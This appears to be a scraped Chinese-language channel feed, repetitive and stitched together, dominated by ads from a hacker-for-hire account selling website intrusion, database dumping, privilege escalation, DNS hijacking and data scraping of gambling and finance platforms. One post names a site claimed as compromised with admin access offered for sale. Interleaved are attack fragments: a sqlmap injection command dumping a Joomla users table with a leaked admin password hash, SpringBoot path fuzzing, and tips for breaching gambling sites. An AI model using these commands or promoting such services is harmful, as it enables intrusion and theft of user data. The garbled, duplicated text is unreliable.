1. 上传源码到网站根目录解压
2. 访问http://域名/install
3. 按提示配置数据库安装，后台账号密码：admin/123456
设置Bing每日壁纸教程(非必要)：
1. 在后台将背景地址修改为 ./assets/img/background.jpg
2.添加一个每天执行的CRON任务：
GET http://xxx.com/assets/img/cron.php
3.每次Cron任务执行后会将Bing每日一图保存到assets/img/background.jpg
DNS流量转流量持持跳转运营商持域名跳转！
适合以下这几种行业！
六合·色站·彩票·博彩·金融
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM
2. 访问http://域名/install
3. 按提示配置数据库安装，后台账号密码：admin/123456
设置Bing每日壁纸教程(非必要)：
1. 在后台将背景地址修改为 ./assets/img/background.jpg
2.添加一个每天执行的CRON任务：
GET http://xxx.com/assets/img/cron.php
3.每次Cron任务执行后会将Bing每日一图保存到assets/img/background.jpg
DNS流量转流量持持跳转运营商持域名跳转！
适合以下这几种行业！
六合·色站·彩票·博彩·金融
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM
❤1
https://www.eduglobal.com/ 渗透成功包站可以给后台权限承接各种网站渗透发站来问
DNS流量转流量持持跳转运营商持域名跳转！
适合以下这几种行业！
六合·色站·彩票·博彩·金融
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM
DNS流量转流量持持跳转运营商持域名跳转！
适合以下这几种行业！
六合·色站·彩票·博彩·金融
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM
❤1
接站渗透，接名类站包括银行站点，社交站点，网购站点，BC菠菜赌博站 金融站股票站股民站等，小，中，大型站点可接黑客技术团咨询：@hacker_HouZiM
❤1👍1
放入目录字典进行Fuzz测试，这里选择使用Burpsuite的原因是，SpringBoot目录的访问报错，状态码依然是404，而使用Burpsuite的返回值Length长度，可以轻松筛选出是否成功爆破到了SpringBoot目录。
爆破URI时，需要在Burpsuite中勾掉默认的URLEncode选项：
六合·色站·彩票·博彩·金融
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM
爆破URI时，需要在Burpsuite中勾掉默认的URLEncode选项：
六合·色站·彩票·博彩·金融
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM
❤2
隐藏的这么深的SpringBoot页面，肯定会有SpringBoot的信息泄露漏洞，运气好的话还可能有代码执行RCE，于是使用SpringBoot敏感目录扫描：
六合·色站·彩票·博彩·金融
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM
六合·色站·彩票·博彩·金融
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM
❤1
sqlmap -u "http://192.168.122.135/index.php?option=com_fields&view=fields&layout=modal&list
[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --col
umns -p list[fullordering]
ization. For non-commercial use, please indicate the source.
最后查这几个字段的数据,成功查出来用户名为admin和密码的hash值$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --col
umns -p list[fullordering]
ization. For non-commercial use, please indicate the source.
最后查这几个字段的数据,成功查出来用户名为admin和密码的hash值$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
👍2❤1
但是使用SpringBoot敏感目录字典扫描后发现，就连接口文档swagger-ui.html也删除的干干净净。
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM
❤2
手机银行APP在运行过程中，用户进行转账、汇款等交易时的账号，开户行等敏感数据信息在写入移动终端内存时，XSS漏可利用技术手段进行篡改，使得原本要转给亲友或企业的资金被转入指定的账户。
入侵bc后台权限 superadmin
后台管理设置
各类网站关键词 可劫持 加单中....
六合·色站·彩票·博彩·金融
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM
入侵bc后台权限 superadmin
后台管理设置
各类网站关键词 可劫持 加单中....
六合·色站·彩票·博彩·金融
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM
❤1
入侵bc后台权限 superadmin
后台管理设置
各类网站关键词 可劫持 加单中....
六合·色站·彩票·博彩·金融
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM
后台管理设置
各类网站关键词 可劫持 加单中....
六合·色站·彩票·博彩·金融
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM
❤2
指定app应用 抓取数据
全行业 全平台数据都可以抓取
贷款 POS 股票 期货 医美 六合 棋牌 教育 菠莱 体育 等等
提供你所需指定的平台网址链接给我这边工作室技术抓取数据接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM
全行业 全平台数据都可以抓取
贷款 POS 股票 期货 医美 六合 棋牌 教育 菠莱 体育 等等
提供你所需指定的平台网址链接给我这边工作室技术抓取数据接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM
❤2
体育赌博，体育足球比赛博彩，体育充值客户。体育运动赛事，足球博彩料。体育精准活跃客户。可以按照手机号归属地 筛选地区
提供你所需指定的平台网址链接给我这边工作室技术抓取数据接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM
提供你所需指定的平台网址链接给我这边工作室技术抓取数据接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM
❤2
在app里面抓包，查找邮箱，充值，的地方寻找sql注入或者意见反馈的位置XSS
指定app应用 抓取数据
全行业 全平台数据都可以抓取
贷款 POS 股票 期货 医美 六合 棋牌 教育 菠莱 体育 等等
提供你所需指定的平台网址链接给我这边工作室技术抓取数据接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM
指定app应用 抓取数据
全行业 全平台数据都可以抓取
贷款 POS 股票 期货 医美 六合 棋牌 教育 菠莱 体育 等等
提供你所需指定的平台网址链接给我这边工作室技术抓取数据接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM
❤2
这种菠菜类的网站 大多数 服务器都是防范级别很高的 都是包网 资产很多 而且前后端都是分离的 有的时候 没有思路的时候 可以从运维方面下手 有的运维安全意识不是很高 还可以从C段入手 因为有的菠菜资产分布在几个C段 主站上面 肯定很少漏洞 基本上可以说没有 还有就是从游戏接口入手 或者游戏逻辑入手 个人一点点粗见。
六合·色站·彩票·博彩·金融
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM
六合·色站·彩票·博彩·金融
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM
❤1
我们也可以基于监测点的分析，基于趋势的分析，还可以通过散点图的方式对每一次拨测的劫持进行具体的查看和筛选，图例中圆形状的就表示产生了劫持，可以把它框选出来，看一下具体是哪个点，可以看到具体的监测任务以及检测点，这就是整体的劫持分析
六合·色站·彩票·博彩·金融
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM
六合·色站·彩票·博彩·金融
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM
❤1